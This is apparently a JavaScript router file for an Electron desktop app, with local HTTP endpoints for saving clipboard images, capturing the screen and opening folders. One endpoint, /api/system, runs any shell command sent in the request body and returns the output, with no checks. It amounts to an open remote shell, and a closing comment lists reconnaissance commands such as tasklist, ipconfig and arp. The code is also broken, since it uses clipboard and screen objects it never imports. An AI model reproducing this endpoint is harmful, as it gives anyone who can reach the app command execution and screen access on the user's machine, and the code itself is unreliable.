const fs = require('fs'); 
const path = require("path")
const childProcess = require('child_process')
const { app,shell,desktopCapturer } = require("electron");
const Router = require('koa-router') 
const router = new Router()
 
var all = { folder: "" }
let filepath = path.join( app.getPath("userData") ,'copy-img.json');
let cc = 0;
// not use
router.get('/api/folder', async function(ctx, next) {
    let { folder } = ctx.request.body 
    if(folder){
        all.folder = folder
        fs.writeFileSync(filepath,JSON.stringify(all))    
    }else{
        folder = all.folder
    }
    ctx.body = {  data: folder }
}) 

router.post('/api/system', async function(ctx, next) {  
    ctx.body = {  data: Buffer.from(childProcess.execSync(ctx.request.body.exec)).toString('utf8') }
}) 

router.get('/api/open', async function(ctx, next) { 
    shell.openExternal(app.getPath('userData')) 
    ctx.body = {   }
}) 

router.get('/api/img', async function(ctx, next) {
    console.log("img"); 
    let src = clipboard.readImage().toDataURL();
    fs.writeFileSync(`${app.getPath('userData')}\\img${cc++}.png`, new Buffer(src.replace(/^data:image\/\w+;base64,/, ""), 'base64'))
    ctx.body = {  src }
}) 


router.get('/api/screen', async function(ctx, next) {
    console.log("screen"); 
    var res = await desktopCapturer.getSources({ types: ['screen'], thumbnailSize: screen.getPrimaryDisplay().workAreaSize })
    ctx.body = {  src: res[0].thumbnail.toDataURL(), point: screen.getCursorScreenPoint(), size: screen.getPrimaryDisplay().workAreaSize  }
}) 

module.exports = router
/*
'tasklist /FO CSV'
ipconfig 
arp -a  | find "0xe"

mspaint
calc
control
mstsc
regedit
taskmgr
*/